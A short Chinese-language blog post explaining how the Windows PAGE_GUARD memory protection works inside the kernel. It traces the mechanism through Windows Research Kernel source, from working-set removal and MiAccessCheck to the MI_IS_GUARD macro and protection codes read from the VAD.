二进制安全游戏安全C/C++汇编 [2020] PAGE_GUARD 内核原理探究 网上 PAGE_GUARD 的文章千篇一律 不知道在说什么JB 可能作者自己都不知道在说什么 这里给出WRK的答案: 在设置PAGE_GUARD后: https://github.com/jmcjmmcjc/wrk-v1.2/blob/232d7a783235fad29fbb0f14951359acfa210d77/WRK-v1.2/base/ntos/mm/protect.c#L868 > The PTE is a private page which is valid, if the specified protection is no-access or guard page remove the PTE from the working set. 调用MiRemovePageFromWorkingSet 结果: https://github.com/jmcjmmcjc/wrk-v1.2/blob/232d7a783235fad29fbb0f14951359acfa210d77/WRK-v1.2/base/ntos/mm/wslist.c#L781 > This function removes the page mapped by the specified PTE from the process's working set list. 访问的时候会调用MiAccessCheck检查ProtectionCode: https://github.com/jmcjmmcjc/wrk-v1.2/blob/232d7a783235fad29fbb0f14951359acfa210d77/WRK-v1.2/base/ntos/mm/acceschk.c#L160 MI_IS_GUARD 的定义是: ```cpp #define MI_IS_GUARD(ProtectCode) ((ProtectCode >> 3) == (MM_GUARD_PAGE >> 3)) ``` ProtectionCode由来: 在访问内存的时候会调用 MiCheckVirtualAddress https://github.com/jmcjmmcjc/wrk-v1.2/blob/232d7a783235fad29fbb0f14951359acfa210d77/WRK-v1.2/base/ntos/mm/pagfault.c#L4701 如果是private 属性的,则会 https://github.com/jmcjmmcjc/wrk-v1.2/blob/232d7a783235fad29fbb0f14951359acfa210d77/WRK-v1.2/base/ntos/mm/pagfault.c#L4787 https://github.com/jmcjmmcjc/wrk-v1.2/blob/232d7a783235fad29fbb0f14951359acfa210d77/WRK-v1.2/base/ntos/mm/pagfault.c#L4806 取VAD里面的值 ProtectionCode就是这样来的 来了后 ### 废物百度 阅读全文 2020-12-19 huoji 0 条评论